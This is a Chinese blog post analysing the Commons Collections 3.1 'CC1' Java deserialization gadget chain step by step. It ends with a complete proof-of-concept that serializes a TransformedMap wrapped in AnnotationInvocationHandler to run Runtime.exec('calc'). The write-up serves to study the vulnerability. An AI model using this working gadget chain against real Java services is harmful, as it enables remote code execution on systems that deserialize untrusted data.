CC1利用链分析

news2024/9/9 5:39:43

分析版本

Commons Collections 3.1

JDK 8u65

环境配置参考JAVA安全初探(三):CC1链全分析

分析过程

我的Github主页Java反序列化学习同步更新,有简单的利用链图
首先看下CC1利用链的RCE利用点,在接口Transformer
image-20240624170550724

接下来查看此接口的实现类,右键Go To Implementation

image-20240624170711205

去看这些实现类的源码,最后在InvokerTransformer类中找到了利用点,反射。

image-20240624170846045

根据RCE利用点的代码,可以先把POC写一部分,之后慢慢改。(注释是一行实现)

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(runtime);
//new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

我们现在有了利用点,就要向上找使用,最后找到序列化的方法利用链才完成。

在这里先插入一个Runtime类的序列化问题,Runtime类是不能反序列化的。看下Runtime类源码

    private static Runtime currentRuntime = new Runtime();
    public static Runtime getRuntime() {
        return currentRuntime;
    }

getRuntime方法返回了一个实例化的Runtime。

考虑利用反射获取Runtime原型类,调用getRuntime方法去实例化Runtime。

        Class runtime = Class.forName("java.lang.Runtime");
        Method getRuntime = runtime.getDeclaredMethod("getRuntime");
        Runtime r = (Runtime) getRuntime.invoke(null, null);   //获取runtime实例化对象

        Method exec = runtime.getDeclaredMethod("exec", String.class);
        exec.invoke(r,"calc");

之后再想如何和我们找到的RCE利用点结合。InvokerTransformer,可以命令执行。通过反射调用InvokerTransformer去执行上面实例化Runtime类的命令。

        // 使用 InvokerTransformer 获取 getRuntime 方法
        Method getRuntime = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); //方法 方法参数类型 参数 类

        // 使用 InvokerTransformer 调用invoke 方法
        Runtime r = (Runtime) new  InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);

        // 使用 InvokerTransformer 获取 exec 方法
        Method execMethod = (Method) new InvokerTransformer(
                "getDeclaredMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"exec", new Class[]{String.class}}
        ).transform(Runtime.class);

        // 使用 InvokerTransformer 调用 exec 方法
        new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{r, new Object[]{"calc"}}
        ).transform(execMethod);




        //new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
        //这句可以代替上面的两句,因为已经获取到了runtime的实例,直接调用runtime的exec方法就行

观察代码发现,我们对InvokerTransformer的调用是一条链,一句的输入是上一句的输出。这里就会用到CC库的ChainedTransformer类(可以熟悉下CC库一些类的功能)

ChainedTransformer的构造方法是public,参数是Transfromer[](Transfrome数组),所以我们先初始化一个Transfromer数组,再把这个数组放入ChainedTransformer的构造方法参数处。

更新Poc

        Transformer[] transformers = new Transformer[] {
            new InvokerTransformer("getDeclaredMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);

之后,开始搜索transform的方法调用,在TransformedMap类中的三个方法都调用了transform方法。

    protected Object transformKey(Object object) {
        if (keyTransformer == null) {
            return object;
        }
        return keyTransformer.transform(object);
    }

    protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);
    }

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

(只有checkSetValue方法最后才能到readObject())

接下来利用链就变成了,调用TransformedMap类的checkSetValue方法(当然我们要控制传值)。

TransformedMap的构造方法是protected类型,所以考虑decorate方法给TransformedMap赋值。

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

到这里利用链变为

        Runtime runtime = Runtime.getRuntime();

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap hashMap = new HashMap();
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, invokerTransformer);
        //之后调用checkSetValue

但是,checkSetValue方法是protected类型,无法直接调用.

我们看这个方法的调用。TransformedMap继承的AbstractInputCheckedMapDecorator抽象类中setValue方法调用了checkValue方法。

setValue方法又是在MapEntry(AbstractInputCheckedMapDecorator的内部类)中,这个内部类是继承了AbstractMapEntryDecorator类,重写了AbstractMapEntryDecorator类的setValue方法。

AbstractMapEntryDecorator类又引入了了Map.Entry(Map的键值对)接口。在Map.Entry中setValue方法是给键值对的value赋值的。

image-20240625153801181

到这最终我们是找到了Map.Entry的setValue方法,我们用Map进行键值对的遍历就能调用到setValue方法。

更新下Poc

        Transformer[] transformers = new Transformer[] {
            new InvokerTransformer("getDeclaredMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(1,1); //不复制的话Map为空,不能遍历Map
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer); //super传的是hashMap.put(1,1)
        for(Map.Entry entry:transformedMap.entrySet()) {
            entry.setValue(Runtime.class);
        }

(其实不止上面的调用,写完这个Poc可以自己debug一下看下调用过程)

接下来去找setValue的调用,最后在AnnotationInvocationHandler中找到了在readObject方法中的调用。到此利用链完成。

image-20240625154223501

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {  //遍历Map<String, object> memberValues是Map类 memberValue是键值对
            String name = memberValue.getKey();                     //取键值对的key, memberValue
            Class<?> memberType = memberTypes.get(name);            //返回key对应的映射(Value), Class<? extends Annotation> type
            if (memberType != null) {  // i.e. member still exists  //type中需要有memberValues的key
                Object value = memberValue.getValue();              //取键值对的value, memberValue
                if (!(memberType.isInstance(value) ||               //判断两个对象类型,value是否可以强制转化为memberType
                      value instanceof ExceptionProxy)) {           //value是否是ExceptionProxy的实例化对象
                    memberValue.setValue(                           //memberValue需要设置为AbstractInputCheckedMapDecorator
                        new AnnotationTypeMismatchExceptionProxy(   //runtime
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

观察readObject逻辑,大体结构和我们刚刚写的Poc是相同的,是一个Map的遍历,并且Map.Entry调用setValue方法。

这里面要注意判断条件,控制程序运行到setValue的位置。

if (memberType != null) {  // i.e. member still exists  //type中需要有memberValues的key

过这个判断,需要注释type类中需要有与我们传入的memberValues中键值对的key相等一次(Class<?> memberType = memberTypes.get(name);)这个才不返回null。

这里我们用Target类,里面有个value数组。我们要把遍历的hashMap键值对的key改为value。

public @interface Target {
    /**
     * Returns an array of the kinds of elements an annotation type
     * can be applied to.
     * @return an array of the kinds of elements an annotation type
     * can be applied to
     */
    ElementType[] value();
}
  1.                             if (!(memberType.isInstance(value) ||               //判断两个对象类型,value是否可以强制转化为memberType
                                      value instanceof ExceptionProxy)) {           //value是否是ExceptionProxy的实例化对象
    

过这个判断,Target的value和hashMap键值对的value是不同类型。并且hashMap键值对的value不是ExceptionProxy类的实例化对象

  1. setValue中传入的并不是runtime
                    memberValue.setValue(                           
                        new AnnotationTypeMismatchExceptionProxy(   
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));

image-20240629171001578

但是我们没法控制这里的memberValue.setValue()的传值,

回想一下利用思路,我们利用ChainedTransformer

chainedTransformer.transform(Runtime.class); 是为了执行

invokerTransformer.transform(Runtime.class);

所以我们保证ChainedTransformer初始化的Transfrom数组的第一行new InvokerTransformer("getDeclaredMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).tranform(XXX)的XXX为Runtim.class就好。

解决这个问题,用到了ConstantTransformer类,构造的时候输入什么,在调用方法的就返回什么

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
public Object transform(Object input) {
    return iConstant;
}

我们构造时输入Runtime.class,在调用tranform时返回Runtime.class。

正好第一行new InvokerTransformer("getDeclaredMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).tranform(XXX)中输入XXX的值就变为Runtime.class.

最终的Poc

public class cc1_poc {
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("s.ser"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {
//7
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value",1); //不复制的话Map为空,不能遍历Map
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer); //super传的是hashMap.put(1,1)

        Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object object = constructor.newInstance(Target.class, transformedMap);

        serialize(object);
        unserialize("s.ser");
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1878020.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

将json对象转为xml进行操作属性

将json对象转为xml进行操作属性 文章目录 将json对象转为xml进行操作属性前端发送json数据格式写入数据库格式-content字段存储&#xff08;varchar(2000)&#xff09;Question实体类-接口映射对象QuestionContent 接收参数对象DAO持久层Mapper层Service层Controller控制层接收…

谈一下MySQL的两阶段提交机制

文章目录 为什么需要两阶段提交&#xff1f;两阶段提交流程&#xff1f;两阶段提交缺点&#xff1f; 为什么需要两阶段提交&#xff1f; 为了保证事务的持久性和一致性&#xff0c;MySQL需要确保redo log和binlog的同步持久化。MySQL通过“两阶段提交”的机制来实现在事务提交…

MyBatis第一节

目录 1. 简介2. 配置3. doing3.1 创建一个表3.2 打开IDEA&#xff0c;创建一个maven项目3.3 导入依赖的jar包3.4 创建entity3.5 编写mapper映射文件(编写SQL)3.6 编写主配置文件3.7 编写接口3.8 测试 参考链接 1. 简介 它是一款半自动的ORM持久层框架&#xff0c;具有较高的SQ…

【Kubernetes】搭建工具Kubeadm环境配置

架构&#xff1a;服务器采用Master-nodes&#xff08;3台&#xff09; Worker-nodes(2台) 一&#xff0c;服务准备工作 &#xff08;1&#xff09;在所有&#xff08;5台&#xff09;机器配置 主机名绑定&#xff0c;如下&#xff1a; cat /etc/hosts192.168.0.100 k8s-m…

【智能算法】决策树算法

目录 一、基本概念 二、工作原理 三、决策树算法优点和缺点 3.1 决策树算法优点 3.2 决策树算法缺点 四、常见的决策树算法及matlab代码实现 4.1 ID3 4.1.1 定义 4.1.2 matlab代码实现 4.2 C4.5 4.2.1 定义 4.2.2 matlab代码实现 4.3 CART 4.3.1 定义 4.3.2 mat…

leetcode-20-回溯-切割、子集

一、[131]分割回文串 给定一个字符串 s&#xff0c;将 s 分割成一些子串&#xff0c;使每个子串都是回文串。 返回 s 所有可能的分割方案。 示例: 输入: "aab" 输出: [ ["aa","b"], ["a","a","b"] ] 分析&…

springboot是否可以代替spring

Spring Boot不能直接代替Spring&#xff0c;但它是Spring框架的一个扩展和增强&#xff0c;提供了更加便捷和高效的开发体验。以下是关于Spring Boot和Spring关系的详细解释&#xff1a; Spring框架&#xff1a; Spring是一个广泛应用的开源Java框架&#xff0c;提供了一系列模…

Nosql期末复习

mongodb基本常用命令&#xff08;只要掌握所有实验内容就没问题&#xff09; 上机必考&#xff0c;笔试试卷可能考&#xff1a; 1.1 数据库的操作 1.1.1 选择和创建数据库 &#xff08;1&#xff09;use dbname 如果数据库不存在则自动创建&#xff0c;例如&#xff0c;以下…

ElementUI的基本搭建

目录 1&#xff0c;首先在控制终端中输入下面代码&#xff1a;npm i element-ui -S 安装element UI 2&#xff0c;构架登录页面&#xff0c;login.vue​编辑 3&#xff0c;在官网获取对应所需的代码直接复制粘贴到对应位置 4&#xff0c;在继续完善&#xff0c;从官网添加…

【工具分享】Nuclei

文章目录 NucleiLinux安装方式Kali安装Windows安装 Nuclei Nuclei 是一款注重于可配置性、可扩展性和易用性的基于模板的快速漏洞验证工具。它使用 Go 语言开发&#xff0c;具有强大的可配置性、可扩展性&#xff0c;并且易于使用。Nuclei 的核心是利用模板&#xff08;表示为简…

oracle 11g rac安装grid 执行root脚本add vip -n 。。。on node= ... failedFailed 错误处理

问题&#xff1a; CRS-4402: The CSS daemon was started in exclusive mode but found an active CSS daemon on node racdg1-1, number 1, and is terminating An active cluster was found during exclusive startup, restarting to join the cluster PRCN-2050 : The requ…

[OtterCTF 2018]Name Game

Name Game 题目描述&#xff1a;我们知道这个帐号登录到了一个名为Lunar-3的频道。账户名是什么&#xff1f;猜想&#xff1a;既然登陆了游戏&#xff0c;我们尝试直接搜索镜像中的字符串 Lunar-3 。 直接搜索 Lunar-3 先把字符串 重定向到 txt文件里面去然后里面查找 Lunar-3…

阐述Python:except的用法和作用?

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:「stormsha的主页」…

C++特殊类设计单例模式...

文章目录 请设计一个类&#xff0c;不能被拷贝请设计一个类&#xff0c;只能在堆上创建对象请设计一个类&#xff0c;只能在栈上创建对象请设计一个类&#xff0c;不能被继承请设计一个类&#xff0c;只能创建一个对象(单例模式)单例模式&#xff1a;饿汉模式&#xff1a;懒汉模…

在vs上远程连接Linux写服务器项目并启动后,可以看到服务启动了,但是通过浏览器访问该服务提示找不到页面

应该是被防火墙挡住了&#xff0c;查看这个如何检查linux服务器被防火墙挡住 • Worktile社区 和这个关于Linux下Nginx服务启动&#xff0c;通过浏览器无法访问的问题_linux无法访问nginx-CSDN博客 的提示之后&#xff0c;知道防火墙开了&#xff0c;想着可能是我写的服务器的…

SpringDataJPA系列(1)JPA概述

SpringDataJPA系列(1)JPA概述 SpringDataJPA似乎越来越流行了&#xff0c;我厂的mysql数据库和MongoDB数据库持久层都依赖了SpringDataJPA。为了更好的使用它&#xff0c;我们内部还对MongoDB的做了进一步的抽象和封装。为了查漏补缺&#xff0c;温故而知新&#xff0c;整理下…

企业本地大模型用Ollama+Open WebUI+Stable Diffusion可视化问答及画图

最近在尝试搭建公司内部用户的大模型,可视化回答,并让它能画图出来, 主要包括四块: Ollama 管理和下载各个模型的工具Open WebUI 友好的对话界面Stable Diffusion 绘图工具Docker 部署在容器里,提高效率以上运行环境Win10, Ollama,SD直接装在windows10下, 然后安装Docker…

c++ 设计模式 的课本范例(中)

&#xff08;10&#xff09;单例模式 singleton 。整个应用程序执行时&#xff0c;只有一个单例模式的对象。 class GameConfig // 懒汉式&#xff0c;啥时候用单例对象&#xff0c;啥时候创建。 { private:static GameConfig* ptrGameConfig; // 这些函数都作为私有函数&…

二叉树的层序遍历/后序遍历(leetcode104二叉树的最大深度、111二叉树的最小深度)(华为OD悄悄话、数组二叉树)

104二叉树的最大深度 给定一个二叉树 root &#xff0c;返回其最大深度。 二叉树的 最大深度 是指从根节点到最远叶子节点的最长路径上的节点数。 本题可以使用前序&#xff08;中左右&#xff09;&#xff0c;也可以使用后序遍历&#xff08;左右中&#xff09;&#xff0c;…

自闭症早期风险判别和干预新路径

谷禾健康 自闭症谱系障碍 (ASD) 是一组神经发育疾病&#xff0c;其特征是社交互动和沟通的质量障碍、兴趣受限以及重复和刻板行为。 环境因素在自闭症中发挥重要作用&#xff0c;多项研究以及谷禾队列研究文章表明肠道微生物对于自闭症的发生和发展以及存在明显的菌群和代谢物的…